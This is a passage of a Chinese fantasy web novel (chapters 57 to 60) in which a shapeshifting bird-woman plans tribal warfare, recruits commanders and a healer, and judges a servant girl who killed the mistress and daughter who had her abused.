寒风凛冽的天气,被巨鸟的羽毛笼罩住,竟然一丝冷风都吹不进,迎面是鸟类自带的气味和热度,苏赫阿那直到抱实了林一的腹部,才确认这不是他昨晚做梦的内容,而是真实存在的。 从巨鸟的怀抱里脱身出来,苏赫阿那仰头看林一歪着的鸡头,沉默片刻,失笑道:“没关系,你能坦诚对我,是我之幸。其实雪域的传说里,雪域人是神女与狼交而生,几千年的神话了,狼神是所有部落的源头,把故事换成鸟神也很好,我不喜狼,我喜爱鸟。” 林一的鸟脸有些不明显的红,不明显主要是因为鸟脸皮过厚的缘故。 回到帐子里,苏赫阿那甚至都没点火取暖,他一直被林一挡着风雪,偶尔抱几下,在外头风雪漫天的环境下回到帐子里竟然不觉得冷。摸一摸,额头上还起了一层薄汗,这不是被吓的,而是鸟羽真就这么温暖。 林一已经是个人模样了,正在大座上翻来覆去,很兴奋的样子,苏赫阿那还是把火炉点起来了。 鸟的话不怕冷,但人身应该怕冷?不确定,第一次养,要好好养。 第57章 林一来回两趟已经计划好了一条黑石部落前往苏赫部的最短路线,除此之外,塔塔尔部的报复她不放在心上,因为塔塔尔部很快就没有时间报复黑石部落了。 还是那句话,兵如水势,兵力是流动的,能多线作战还保持胜率的那是军神兵仙,不是普通将领,很显然,林一是不是军神不确定,但塔塔尔部绝对没有神仙。 废话嘛,要是有这样级别的存在,苏赫部落都不知道在哪个犄角旮旯待着呢,现在苏赫部落的地盘就是之前左贤王的领地。林一铺了个小地图当气氛组,这是她开会时的习惯,她很认真地听着苏赫阿那的经验介绍。 苏赫阿那失笑,他其实还有些定不下心神来,但仔细想想,总有些“原来如此”的平静心态,很多东西都有了解释,但也有更多的东西令人心乱,索性不去想这些琐碎,专心讲解。 “塔塔尔部如今还是内部三王分制,可汗阿勒坦穆尔,年纪比拔都可汗小十来岁,大概六十多岁,为人很……沉得住气。”苏赫阿那停顿了一下,笑着说:“三十年前的那位左贤王阿勒坦赤那被我打退回圣湖后,没有了继位的机会,他的兄弟阿勒坦穆尔因此成为新汗,不过阿勒坦赤那在部落内部的追随者也有一些,他如今是右贤王,在冬季会分部而居一段时间,现在的左贤王阿勒坦霍都,是穆尔汗的二子。” 这种三王制前头已经说过,类比魏朝皇室,可汗是皇帝,左贤王是太子,右贤王是实权皇叔,虽然被打到龟缩圣湖,但人家内部制度还是很严格。 将塔塔尔部三王的身份关系讲清楚后,苏赫阿那用自己的视角来形容三人,“穆尔汗在位时间几乎和我重叠,他很少发动战事,最大的优点是能够平衡内部矛盾。按照塔塔尔部旧制,左贤王本该依靠外战来展现继任者的能力,但这位霍都左贤王也和其父一样很少作战,工于心计,现在的塔塔尔部反倒是右贤王一部作战频繁,但他……很怕我。” 林一比较理解,对于苏赫阿那这种人生最大的坎儿,这位左贤王大概是不敢再迈一下的,就是那种,打不过你,我也不服气,我不服气,但是我也打不过你的状态。 为了让林一理解得更清晰一些,避免用力过猛反伤自身,苏赫阿那甚至舍弃了一贯的谦和作风,再次解释:“我的意思是说,塔塔尔部这些年日薄西山,最大的盐铁矿被我所得,没有足够的地盘分部而居,依靠圣湖无法养育更多人口。在我的预计中,塔塔尔部的人口应该不会超出十万,人少能养活的骑兵就更少,并不能算是一个像样的对手。” 至于他自己为什么不攻呢?一来背后有克烈部虎视眈眈,二来两个大部落作战,必然造成大量死伤,他原本是想再拖一拖,拖到塔塔尔内部更为混乱,比如权力交接之时,那时自身损失会小很多,死伤的青壮能少一些。 三方对峙的格局总有一个出路,他若能吞并塔塔尔部,就能背靠圣湖铺开大量人口,有一个稳定的后方,可以专心对付克烈部。反之一样,只要有一方被吞,三方格局必然要统一,克烈部若能吞他,塔塔尔自然也不保,但人不是都具有头脑,苏赫阿那也要提防的是塔塔尔和克烈联合在一起夹击他。雪域贫瘠,资源争夺频繁,能维持一个平衡实在不易。 林一不判断苏赫阿那做得对不对,但她认为……拖延其实也不是全然无好处,毕竟他不是等到自己了嘛! 除了塔塔尔部现在的情况,苏赫阿那也给林一刚建起来的黑石部落提出了过来人的经验:新建的部落首要就是囤粮,粮在人心在。 “今天风雪大,过两日会小一些,我会让阿铎押送一批粮草过去,除此之外还需要一些兵器,我们最近和魏朝交易了很多铁器,铁勒部近来忙着打你需要的铲子,只能用部落里去年换下的一批。不过就算是换下的,也是因为新兵刃换代,质量上没有问题。” 苏赫阿那很平稳地说完,下一秒天旋地转,人已经躺在了可汗大座上。 林一边吃边说:“这些是借款,他们会还的,用黑石来抵账。” 这软饭吃下去多是一件美事啊!可是林一能吃软饭,黑石部落不可以,啥身份啊和她吃一样的软饭?五六千的青壮就指望靠她男人养活迈?不可能! 傍晚的时候,林一神清气爽在部落里遛弯。这会儿风雪小了很多,不少人带着牲畜去喝水,也有青壮不怕冷,就站在自家帐子前洗雪澡,把一身健壮的皮肉擦得通红,林一驻足观看,神情凝重。 当然她不是批判啊,平时批判得比较多,她现在是无欲无求的状态,但是她想起了一件事,一件很严重的事。 打从前些日子飞出去,挖煤杀人建部落,她好像就没有洗过澡,主要也是黑石部落的水源地远,大家平时喝水都紧张,更没一个人做出过试图洗澡的行为,甚至都没人擦脸,不然她不就想起来了嘛!她还想起来木固儿的帐子其实很干净,没有什么臭气的来源,那么为什么她睡在里面总觉得臭呢? 她就是这样一身臭气熏天地回来,然后还腆个脸觉得自己魅力很大,能吃上尤物的软饭了。 关键还真的吃了一大顿! 林一蹲在地上抱住脑袋,无声地呐喊了几句,然后在苏赫部民们见怪不怪的目光下,若无其事,非常自然,站起身来继续溜达。 溜达是有目的地的,第一个是去探望韩小六,上次的指挥战她感觉韩小六很聪明机灵,想问问他愿不愿意从百骑长做起。第二个是去万骑长叶利诃的家里,当然不是找他啊,而是找他的妻子格桑大娘。 对于组建女军的计划,林一一直没有变,女军是非常有必要的,而不是单纯因为林一自己是个雌鸟,见不得女人闲置。男人做骑兵有个很大的问题:磨裆。 不是开玩笑也不是说荤话,也不仅仅是在苏赫部,骑兵的马上训练是不能频繁的,尤其是夏季,磨裆造成的副作用不止是腿内侧磨伤,最大的问题在于会压迫到那个外露的位置。 夏秋繁衍季的时候,林一就听说过的,尤其是那种老骑兵,就算还处于三四十岁身强体壮的年纪,被姑娘家邀请去宿夜,也基本上不会和年轻人相争,因为质量不高。 许多骑兵家庭是不如普通牧民家人口多的,一个常年做骑兵的丈夫,除非有多个妻子,不然很难有孩子。相比之下,女人骑马虽然也会遭遇一些磨伤的问题,但重要的器官在体内,受到的伤害是轻一些的。 除此之外,林一很重视轻骑兵,重骑目前还只是个构想,需要等铁勒部那边的新式兵刃到位。而轻骑兵兼具远程火力灵活机动两方面的优势,这里的女性骨架普遍轻于男性,不仅可以减轻马的负重,因为目标小,被敌方箭矢覆盖时也会少受伤害。不要小看这点不同,作为天上飞的,林一再清楚不过了,小型鸟类具有大鸟无法比拟的灵活身段,优势明显。 减轻马的负重也是非常大的优势!总有人为了减轻负重无所不用其极,比如人马都不披甲,再比如人披甲马不披,再比如放弃较重的长兵器或者盾牌等,就是为了减轻哪怕一点点的负重,而女骑兵可是天生就少一部分负重啊。 韩小六这里,没什么意外的同意了,如果最开始的时候,他大约还要考虑考虑,但是他听说了辽东的事,没有劫掠没有屠杀,甚至没有收税,公主给辽东人分了地,分了粮。打从公主回到雪域的那天起,他就削尖了脑袋想要加入了。在公主的带领下,这哪里是异族蛮兵,分明是王师天降,额,降错了点点位置而已。 林一很满意地拍了拍韩小六的肩膀,对这个机灵的很会用兵的小伙子,她非常满意,甚至打算很快给他机会,看他能不能把握住。 接下来是找格桑大娘,格桑不在家,叶利诃闲着,在帐子里一边喝奶茶一边闲得抠脚,见林一问,他说格桑出门给难产的母羊接生去了,牲畜的头胎往往不大好生,难产是常有的事,林一转身就走。 叶利诃还以为问格桑只是随口寒暄,疑惑地穿上鞋子追出几步:“可敦,可敦来找我有什么事吗?哎,怎么走了啊?” 林一懒得搭理,大步大步往外走,她当然不是害怕进别人帐子被察觉到身上臭气,而是为了难产的母羊,对!她还没有见过母羊生产呢,倒是看过鸟下蛋,噗噗就生出来了。 找了没几个帐子,就看到格桑正在辅助母羊生产,大冷的天,手从衣襟里伸出来,半赤着伸手掏胎羊。血淋淋的场面却带着一股威严的神圣,主人家则是紧张地在旁边看着,主家小孩手里还端着铁壶,用热水冲洗格桑冻得发青的手,洗去黏腻的血。 很快忙活完,格桑擦了擦手,黑红脸难得露出一点笑意,把衣裳拉好,接过热铁壶捂了捂手,对林一笑道:“可敦是来找我的?” 林一重重点头,把这胖乎乎的大娘拉到避风处,很兴奋地说:“格桑,你想不想上万骑长这个位置!” 前半句成功让格桑想歪了,上万骑长这种事,她不是隔三差五就……哦,是上万骑长的位置啊。格桑眉心微拧又松开,带着些许不确定性:“我不知道自己能不能带兵,上次雪战带的千人队还是少了。” 林一大力拍打格桑的肩膀,高兴地说:“那下次你直接指挥一军,对手就韩小六吧,你暂时也为百骑长,下次雪战就算是两个新百骑长对决好了。” 格桑爽快地点了点头。 第58章 来到这个世界的第一个冬天,林一很忙,但这种忙碌和从前源生战士的忙碌不同,是一种充实的,很有成就感的忙碌。 林一对那些星际科技没有半点怀念,她没有享受过什么,毫无权力只有义务,年轻的战争兵器会梦见美丽繁华的百鸟主星吗?她见都没有见过! 现在脚下的这块地方,才是她的家。 林一和格桑相谈甚欢,她一路把格桑送回家,用自己威武的身躯给她挡风。 帐子里亮着酥油灯,叶利诃正在就着菜下酒,他的日子是真的舒坦。这会儿天已经黑下来了,在亲卫帐中值夜的儿子未归,女儿阿依已经回来,给他倒上微酸的马奶酒,切了一盘清炖牛肉,再配一小碟冬日难见的野菜。野菜是拿两块羊奶酪和今天出门牧羊的人家换的,简单用盐抓了抓,吃着脆生极了。 叶利诃就这么美美地喝上了,格桑掀开帐帘,他头也不抬喊:“格桑,去给我把牛皮袋子里的糖块拿来……” 在雪域,喝酒的男人是绝不挪动位置的,要到杯子里最后一滴酒喝干才会起身,期间拿这拿那,都是吩咐家里人做。 他话音未落,林一钻进来一个鸟头。 叶利诃微醺的眼神立马变得清澈,马上就站起来了,他就说嘛!可敦傍晚那会儿找他有事,这会儿又来一趟,肯定是有重要的事。 林一非常自然又顺手地从叶利诃盘子里捏一小把野菜吃吃,因为不是熟的,很勉强咽下,又吃了两块牛肉,缓过一口气,对叶利诃赞许地道:“虽然打仗不行,但是叶利诃,你的厨艺真的很好。” 叶利诃露出了有些茫然的神情,然后小女儿阿依就端着一盘切好的羊肝出来了,笑嘻嘻地把菜端给林一品尝。 “可敦说笑咧,俺爹懒鬼一个,他这辈子除了吃饭碰碗,哪里做过灶上的事,俺哥也是,真该把他们撂几天,看他们咋办。” 林一严肃地吃了几口羊肝,内脏她一般不吃,但是阿依的羊肝做得就很香,微微泛着焦褐色,放了些不知道什么的配菜,总之就是很香。 格桑把叶利诃扒拉开,请林一坐了上座,阿依靠过来又抢了林一右边的位置,叶利诃被挤到一边去了,还在问呢,“可敦傍晚时来了一趟,怎么就走了,是有事情找我吗?” 林一往嘴里填肉,闻言点点头:“真要撂下你几天,我准备带格桑出去转转,我弄了一个部落,部落里有一些病号,要让她诊一诊。还有我想要格桑去教一些简单的医理,包扎和常见草药什么的。” 这些东西看起来简单,可林一最多会死记硬背,她通常不受伤,一受伤就濒死,营养液里泡几下又满血复活,完全没有任何疗伤经验,自然也谈不上医学知识。如果说源生战士的服役期给林一带来了些啥…大约就是满脑子的星网毒鸟食,霸鸟文学之类的。 不要对战时砍虫,闲时开冲的底层耗材要求那么多啊! 这些事是路上就和格桑提过的,她的表情也没什么变化,叶利诃想了想,犹豫道:“如果是疫症之类……” 林一一挥手示意不是,她是个心思缜密的鸟,是仔细记录了症状的,复述后,作为苏赫部落的大医,格桑在路上就得出结论。共计十五人,有一大半是身体太虚弱导致的,有几例是受了寒,还有一个下矿被砸伤,要看具体情况,总之当时没死又熬了几天,还能吃得下东西,那活下来的概率很大。 叶利诃放下心来,还没等继续说话,阿依就抢着说:“可敦,恁真在外头弄了个部落啊?多大,在哪弄嘞?咋个弄得?” 这没什么可隐瞒的,林一看阿依的眼神很柔软,边吃边聊,她不擅长吹嘘自己,只是浅浅地吹了几句。等话说尽,桌上叶利诃的下酒菜也尽了,林一抹了抹嘴,对格桑说:“格桑,等明天晚上咱们就走,你带些必要的用具,收拾的东西不要太多,不是坐车。” 是坐大鸟快递哒! 叶利诃还想问问具体细节,比如为什么是晚上出发,但林一没什么素质,把挡道的万骑长推搡开了,摆摆手往外走。 虽然吃光了叶利诃的下酒菜,但林一回到睡帐前还是先去黑帐后厨弄了一只烤羊。如今是雪期,雪域人其实更喜欢弄个小炉子炖肉吃,又能烤火又能填饱肚子,最重要的是这样不浪费燃料。 不提叶利诃这种少见的骑长家庭,大部分牧民家里都是烧牛粪的,赶上牛干草吃多了便秘,一家子就要受冻。所以黑石其实真的是很重要的资源,是很珍贵的雪域自带的天然燃料,而不光是为了打铁烧窑。 林一吃完,还预订了明天的两只羊和牛肉干。厨夫们都习惯了,也不知道是不是可敦又要出门,总之每次可敦出几天门,就会带上大量的口粮,好在她不挑食,好养活。 林一可不是就这么回去了,她鬼鬼祟祟找了个雪坑,一头扎进去,抛飞挖煤带回来的毡衣,以鸟形开始洗雪澡。 厚厚的雪在夜色下显得很漂亮,带着一层薄光的,倒映了月色的,一只鸟头就在深雪里钻来钻去,翅膀扑腾,鸟爪乱飞,将这一片好雪糟践成了灰扑扑的煤坑。 但林一把自己洗得很干净,鸟形甚至有种闪闪发光的感觉,光彩不会消失,只是从雪上转移到了林一的羽翼上。 夜晚的苏赫部落很安静,林一又顺路去大通间看了看扎哈额真和她养的老人小孩们。扎哈老头看起来过得还行,就是眉心竖纹更深,看起来威严更重了些。林一在屋外朝他摆摆手示意不用出来,只是扒窗望了望。 大通间其实就是火炕和过道,火炕之间摆放一些必要的生活用具,扎哈额真管理得很严格,没有一件器具摆放到过道上的。 这会儿大多数的老人孩子已经睡下,还有几床半坐半靠着。里头供暖很足的样子,林一都看到有熟睡的小孩子踢被了,扎哈额真拧着眉过去又给盖上。 林一走后,角落的火炕上,一对母女紧紧抱着,正在说小话,声音压得很低。 “我儿,那日你晕过去了不知,刚才窗下的女子就是那天的怪鸟,姜公子来警告过不许说的那事。”年约三十许的美貌妇人低声细语,“她想是来看咱们的,那苏赫大汗故意把咱们安排在这破落地,自然是有些心思。如今咱们落难,想是回不去大魏,我儿可不要犯犟,多犟一天,就是多受一天的罪,娘不会害你,娘盼着你过好日子,现在可比不得以前了。” 一个年少的女孩趴在妇人怀里嘤嘤直抽噎,只是不肯,声音略微放大了些:“阿娘!爹都没有那么老…苏赫汗的儿子都比我大,他怎么能起这样的心思?” 妇人劝了又劝,扎哈额真忍了又忍,还是忍不住走过去,用流利的魏朝洛下音开口:“自你们母女入住,大汗可有来看望过一次?没人在逼迫你们,此地已经是苏赫部最好的地方,不是什么破落地,是看你们身体虚弱才安排了位置,虽然这里的人大多听不懂你们的语言,但是……” 老头一手按住了太阳穴,太阳穴突突直跳,但是他听得懂!前几天她们刚来的时候,一个恼一个劝,两人情绪真真的,差点给他都听信了! 两人没料到这里居然有人能听懂魏语,她们一来就被安排到了大通间,天太冷也没有外出过,大通间的老人小孩自然听不懂这些,所以虽是说小话,但情绪起来还真没有避着人,偶尔音量也是不小的。 妇人有些发臊,但涨红了脸,用不怎么标准的洛下音说:“我儿可是赵氏贵女,你这蛮荒之地的穷酸老头,知道什么是赵氏…” 在雪域,魏女之间也有地位差别,贵族通常更喜欢难弄到的贵女,其次是经过世族之手的丫鬟妾室之流,扎哈额真不仅懂,他懂得还不少,谁让便宜阿兄拔都可汗玩的花呢。 所以他一眼就看得出,这妇人不是什么好出身,大概率就是世家姬妾之流,这女孩儿同样教养不足,大概是有个身份不错的父亲,也就仅限于此了。 他想的还要朴素一些,毕竟雪域人见识还是少,这妇人是一位世族官员在边关短暂任职时养的外室,本身是商家豢养的歌姬,赠送给了那官员。期间诞下女儿,那官员却很快就回洛阳了,妇人吃穿不愁,把女儿一直养到十四五,宗族那里终于松口让她们回去。 虽然大概是有一门不怎么好的婚事在等,但母女两人还是收拾了东西,跟随来接人的部曲准备启程,结果路上就遭了难,被贩奴队劫掠带走。 值得一提的是,这母女二人被劫掠的路上没遭什么难,做娘的心疼女儿,护得紧紧,又有个贵女身份护持,妇人巴结贩奴首领讨了很多塔塔尔部的情况,央那首领将她母女贩给好人家。她心下甚至都想好了买主,左贤王霍都,这不就等于个太子了嘛! 为了持续巴结贩奴队,妇人把同样被俘的赵氏部曲带来的小女儿推了出去,叫那些人欺辱了个够本,捂着女儿的眼睛劝解她接受现状,等着许个好人家。 至于那个比自己女儿大两岁的部曲之女,她压根不放在心上,贱民所出的贱种而已。 如今计划赶不上变化,想好的买主换了人,妇人才不理扎哈额真这看通铺的老头在说什么屁话,她只是愁。那怪鸟一看就是个不好惹的,苏赫大汗万一靠不上,部落里的王子可是有三个呢!继承人可只有一个,选错了人那就糟践了。 这样想着的妇人,没注意到不远处有个低着头的毡衣少年人,以一个一只手揣在怀里的怪异姿势避在过道边。 扎哈额真气得脑壳疼,眼睛都虚眯起来了,好在过道没有杂物,他大步抄着手往回走,路过低着头的毡衣少年人身侧。 夜半子时,帐中酥油灯微微亮,炉子烧得热乎乎,洗得干干净净的林一正抱着苏赫阿那吃,至于吃啥别管她,总之是峰峦起伏如山如渊的好东西。正吃着,外头有值夜亲卫试探着开口:“可敦醒着吗?” 不光夜猫子可敦醒着,大汗也醒着呢。 隔着帐帘,亲卫得到了林一的一声冷哼,硬着头皮说:“大通间那里…出了人命,两条。” 林一松开嘴,她一骨碌就爬起来了,大通间可都是老人小孩啊!老人杀小孩,小孩杀老人?老人互杀?小孩同归于尽?不管怎么排列组合都不对劲啊! 她一个鸟头两个大,皱巴着脸琢磨了一大堆,手脚却很快,裹着身熊皮大衣和苏赫阿那一起出睡帐。熊皮大衣是前段时间从苏赫铎身上扒下来的,对过账了,是送她的衣裳,林一今天洗干净之后就穿起来了。 鸟打的熊,鸟穿熊皮,林一没多想,匆匆往大通间赶去,苏赫阿那穿衣慢些,出来就只看到地上几排脚印。 雪夜风冷,身上倒是不冷。 第59章 在林一来之前,扎哈额真就已经查问过,杀人者是个年纪不算大的女孩子,魏人面容。扎哈额真记得她是和这对母女一起被安置进来的,属于那天可敦带回来的那批魏人,因为身体多处有伤,被隔了个帘子安置在大通间角落处,格桑来给她看过两回伤。 少女名叫春儿,她一家六代男丁都是大魏邯郸郡最大郡望赵氏的部曲私兵,被赐姓赵,这趟跟随父亲和两个兄长出来也的确是为了服侍主家小姐出嫁,但不是丫鬟,是正经的陪嫁媵妾。 六代忠心耿耿,到她这代得了一个“改换门庭”的机会,嫁与世族老爷为妾室。若能诞下子嗣,自她这一代,这一脉就再也不是庶民黔首。 赵春儿知道主家小姐的婚事不算好,那位世族老爷和小姐之父是好友,家里已经有亡妻所生长子长女,这次是续弦再娶,但好歹人还年轻,三十过半的年纪,是很可能让她得到生育机会的。 她知道父亲兄长为了这机会托请了多少关系,磕过多少个头,但人生无常,如大梦一场。父兄死时她睁着眼睛,被推出去欺辱时她奋力反抗,濒死时她挣扎求活,躺在温暖的火炕上,被一身腥膻味的异族大娘拂去额上虚汗时,赵春儿扑进大娘的怀里嚎啕大哭,却顺走了大娘腰间的一把不起眼的剥皮小刀。 赵春儿没想过寻死,没有一刻想到过死,她在火炕上躺了几天,不说话也不动,不是因为受到了太强烈的刺激,而是在等身体休养好,也在等一个机会。 白天她成功顺到了小刀,晚上就遮掩头脸接近了主家母女二人,先刺中做娘的心口,刀尖扭转几下,这是父亲教过兄长的杀人技,是她家世代为主家杀人的家传武艺。杀了做娘的,她没有放过本该服侍一生并且看似无辜稚嫩的主家小姐,同样是毫不犹豫一刀没入胸口,手腕扭转带动纤细刀尖,然后一人一刀补进肚腹里,果断而狠厉。 扎哈额真听见动静赶过来,摸了一下母女二人的颈处,也就无奈地站起身,这给她下手利索的。 赵春儿没有跑,问什么答什么,林一赶来的时候,扎哈额真这边什么都问清楚了,就等着断案了,林一也去检查了一下尸体,然后有些新奇地看了看赵春儿。 杀人其实很难这么利索的,人又不是羊,按住了随便杀,就现在来说,许多年轻些的手上有人命的苏赫骑兵,多是弓箭远程杀人。这两具尸体拢共四刀,光是心口的伤就已经致命,肚腹的两刀是补刀,真是又*利索又谨慎。 扎哈额真准备报一下案情了,但林一抬了抬手示意等等,然后没几步苏赫阿那就进来了,扎哈额真无奈,原来是为了叫他这老人家省点口水。 可汗可敦全部就位,扎哈额真先总结了一下案情,人老多情不体现在雪域人的身上,越老越冷厉才是真的,他不同情任何一方,把赵春儿的杀人原因很简单地说完,就让人把反捆着手脚的赵春儿往前带了带。 大通间里灯火不少,有的老人半夜不睡觉伸着脖子瞅,反正小孩都睡得熟,也没人觉得两具尸体摆在这儿,小孩看不得,反而都挺好奇兴奋的,反正是魏人杀魏人嘛,又不是自家部落的事。 苏赫阿那还在沉吟,林一想了想问道:“刀是格桑嘞?不应该啊,刀挂身上被偷了怎么可能发现不了?” 赵春儿没吭声,她听不懂雪域话,刚才问案,扎哈额真是用魏语问的,雪域的权贵大多通晓魏语,苏赫阿那建立部落也开始学习,而且学得很好。反倒是苏赫部落的魏语化,是六年前王澈来了之后普及的,普及的是他那正宗齐鲁方言,而正常来说雪域贵族都是学洛下音的,音准不准那是另外一回事。 苏赫阿那没有计较凶器的问题,看了一眼赵春儿,说道:“按照魏人的律法,奴杀主该判腰斩,家眷绞刑。在雪域,其他部落没有严格规定,一般是不能活的,但是,苏赫部落没有奴隶。” 他浓烈的眉形微微聚攒,又慢慢舒展而开,“你杀二人,是为报仇,照你所说,贩奴队一开始将女眷视为重要货物没有进行欺辱,是这被杀的妇人和少女称你为没受过教养的丫鬟,不值钱,而这妇人主动招人欺辱于你,这事可有人证吗?” 这一通话全是纯熟魏语,赵春儿自己都说不了这样流畅的洛音,自然是听得懂的,她抿唇犹豫片刻,低声说:“这事众人皆知,只恐那些世族贵子不肯为我证明。” 林一马上窜了出去,没多久一手一个,一个是裹着毛皮褥子满脸懵的病歪歪小胡子,崔殊字异人,一个是熟睡中被抓出来,半路上还倔强地束好了发带的姜命姜造化。 两人住一个帐子,离得最近,林一什么案情都不解释,直接问他们:“这丫头说你们被贩卖的路上,她被贩奴队的人欺辱,是这个、这个死在地上的人极力促成的,有没有这回事,你们两人不要对视不要思考,直接说!” 母女二人都死得很快,妇人站在火炕底下的时候被刺死,人就倒在火炕边,赵小姐则是被变故惊到从床上半坐起身,还没来得及跑就被杀,尸体倒在炕上的。现在众人聚在火炕的过道边在断案,处于第一现场,不远处还有几个火炕的老人竖着耳朵听,几个老人凑一床还点着酥油灯,倒是没有几个明目张胆凑过来看热闹的。 即便林一说了不要对视不要思考,但崔殊和姜命两个都不傻,虽然没有对视,但电光火石之间已经大概清楚了事情原委,崔殊第一个说道:“有这事,当时大家自身难保,都是坐笼子或者被捆着,我们都不想说话,这妇人没有被捆着,经常过去找贩奴队的人说话。” 姜命点头道:“另外两家女眷的丫鬟没有受欺,贩奴队是为牟利而非单纯行恶。” 赵春儿低着头不说话,不知道在想什么。 林一直接定了性,凑近了赵春儿,鸭嗓低沉:“那就是报仇嘛,俺不懂刑律,就按照俺的想法来了啊!死的该死,俺也不说你多杀一个这事,杀人上头了要连坐也是常有的,但是连坐啊,不可能不判你。这样,你充军吧,身手这么好用来杀人犯案浪费了,俺给你定个指标,你在战场上必须在先锋的位置,死了就算你赎罪,没死的话,当你杀敌二十,就算你赎了罪名。” 赵春儿最初听见充军二字,浑身打了个颤,女眷充军在魏朝多半是做营妓,年老色衰的不仅做营妓,还要苦役,但越听越是迷茫。 怎么好像……不是营妓,而是正常士卒?还说到了杀敌?用杀敌来赎罪? 苏赫阿那对林一的判罚没有意见,他对赵春儿有些许的怜悯,原本想的也是判刑而非偿命,现在这个充军,大约也可以算作刑罚的一种,是合理的判决。 林一把赵春儿的捆绑解开,把证物剥皮刀揣了起来,明天要带给格桑,顺便问问格桑,挂在腰上的东西是怎么被“顺”走的。 雪域部落,断案就是这么快,都不用一遍二遍过堂,总之就是凑一起开个会就完事了,程序上漏洞很大,很容易出现冤假错案,但在场的人都没有在意,什么条件啊还过堂,整个部落能凑出几个识字的? 严格来说,林一也算个半文盲,在绝大部分都是小篆书写的情况下,她只认识隶书这一种简化版文字,但是她真的很忙,没时间去学一门更复杂的课程了。 回去后补了个回笼觉,依依惜别了昨晚没能吃上的好东西,林一歇了一个白天。苏赫阿那列好了一封援助黑石部落的清单,按照林一的要求,预估了开春时候需要的黑石还款,一式两份各自留存,然后苏赫铎带了两千多的骑兵和大量铁勒高车来押送货物。 晚上,格桑收拾了一个药箱,两套衣裳,冬季雪域人通常不会换外头御寒的厚重衣物,只是定期更换贴身衣物,厚衣难洗尤其是皮毛,像林一身上穿的熊皮大衣一类,大都是用雪搓吧搓吧,就当洗过了。 林一把格桑带出了部落,再次上演了一幕就地褪衣,但格桑比较冷静,没有想歪,最多疑惑可敦是不是又突发恶疾……直到看到一个鸟头冒出来,但她虽然惊诧,脸色却没有太多变化。 林一用翅尖把自己的衣物,尤其是那件熊皮大衣推到格桑面前示意她一起打包,然后口吐人言:“我不好骑,背上翅膀挥动的时候迎着风,你喘不过来气,所以我用绳子捆好你,把你挂在胸口,然后一只爪子托着你,放心没事的!” 格桑欲言又止,虽然我年纪上来了心态比较好,也没有大喊大叫什么的,但是可敦啊,你至少是不是应该和我解释解释? 林一忘记了,等格桑打理好一切,她低头过来挂好绳索,爪子不轻不重抓稳格桑的腰,等她的脸埋进蓬松的胸羽里,立刻如同一枚出膛炮火。助跑几步,单侧近四米的大翅膀从鸟身侧处三折叠而开,巨鸟一飞冲天。 芜湖起飞! 第60章 风雪路难行,早出发的苏赫铎预计要走五六天的路程,就这还是仅算骑兵速度,没算上货物的拖累呢,但林一夜半就飞到了。她匆匆把格桑放下来,很快就去了病人的帐子里。 帐子不够用,这些都是原来的督工睡的地方,黑石部落人太多,现在还是有些人住在矿坑里,不过身体虚弱些的都被林一安排进帐子。其他只能等苏赫部的援助,林一不可能一天吃百八十顿往返飞百八十趟送厚重的毡帐来。 鸟力有穷尽啊!她不是鸟神,只是个鸟人。 格桑是个细心的医者,她问清情况后已经带足了东西,一些治疗的用具也都准备好,挨个看过之后都没有大问题,因为矿上的严苛环境,有问题的活不到现在。 忙活到了天亮,黑石部落也没有什么好东西能招待格桑,林一分享了她带来的烤羊和牛肉干,两人简单地吃了一顿。林一抹了抹嘴上的油,叫来忽查和他的几个兄弟,介绍道:“这是格桑,你们就叫她……” 话音未落,忽查就极为震惊地说:“大萨满?” 大萨满啊!雪域部落最原始的自然宗教崇拜,魏人热衷于给自己寻个牛逼的祖上,但萨满教的传承是真的可以直接追溯到结绳计事的远古时代,而一个萨满必须同时满足三个条件才能得到萨满之名:濒死过一次,跟随一位老萨满学习十年以上,出身好。 额,这其实在远古时代也有解释,出身不好的话濒死大概就真死了,跟随一位老萨满学习十年,期间不算一个正常的劳力,这也需要家境支撑。在贫瘠的雪域是很少有金钱概念的,过得好的多半是家中青壮较多的人家,在远古这就直接掌控一部分部落话语权了,怎么能说不是贵族的雏形呢? 萨满之上的大萨满要求就更多了,除去以上三点基础要求,还需要会祈福祈雨,医病跳神,战时占卜,年节祭祀等。有时候一个小部落会因为拥有一位厉害的大萨满而不受任何攻伐,平平安安过上十几二十年。 林一摆手,说:“你们叫她格桑大娘就行,格桑不是大萨满,是个医者。” 格桑听着也是点头,她更加认可自己的医者身份,萨满嘛,很久远之前的事了,她幼时可还没有苏赫部落呢。因为一场大病濒死被救过来之后,她就跟着一位萨满学习巫医知识,但比起跳神占卜祭祀,她更喜欢潜心研究医术。她没有一天真正做过萨满,反倒是打从来了苏赫部落,就做了快二十年的医者。 但忽查几人不肯相信,很兴奋地说:“萨满大人头上还插着鸟羽,怎么可能不是呢?多漂亮的一根鸟羽啊!” 林一愣了一下,这才注意到格桑的发鬓上扎着一根她的羽毛,因为和头发颜色近似,又忙着别的事情,她压根没有注意到。 单纯从羽毛花色来看,那是一根乌青底色,在阳光下泛着五彩薄光的羽毛,比鸦羽长一大截。萨满通常会把自己打扮成鸟首人身或者头戴鹿角的样子,虽然只插一根鸟羽很奇怪,但这可以解释成萨满大人只是简单表示一下身份。她甚至是夜半过来为几个普通黑石人看病的,多么仁慈的萨满大人啊。 林一不是很满意,雪域是医巫不分家,对医者的尊重大多来源于对巫的敬畏,这不把人本身的付出给放小了吗?她其实很不相信神明这种东西,百鸟帝国没有“神创”的文化,从小搏击天空的鸟类,最多能保留对强者的敬畏,比如鹌鹑敬畏斑鸠,斑鸠敬畏鹰隼,是很从心的根据体型食性来的。 但是人,两条腿走在地上的人,要面对的危险很多,寄望于自然和神明的仁慈也很合理,越是条件艰苦的地方越信神嘛。 林一自己把自己说服了,甚至觉得挺可爱。换算一下,小猫因为生活比较辛苦,于是猫们发展出了猫猫神的信仰,猫编猫信猫崇拜,最后猫们年节祈福,祭祀占卜,一切都是为了让日子过得有盼头而已,这是需要苛责小猫们的事吗? 格桑也习惯了,她有时也会被其他部落请去行医,会有很多人尊她一声萨满,听听就行了。在雪域,完全没有萨满教痕迹的部落,大约就是苏赫部了,但格桑并不像大多数萨满那样觉得苏赫阿那的统治不会长久,如果天真的会怪罪一个不敬的王者,不会许他三十年的辉煌。 林一忽然询问格桑道:“昨晚那个杀人的女孩子,说她从你身上偷的刀,格桑,你是被偷刀了,还是别的?” 格桑微微停顿片刻,“是我想给她刀。” 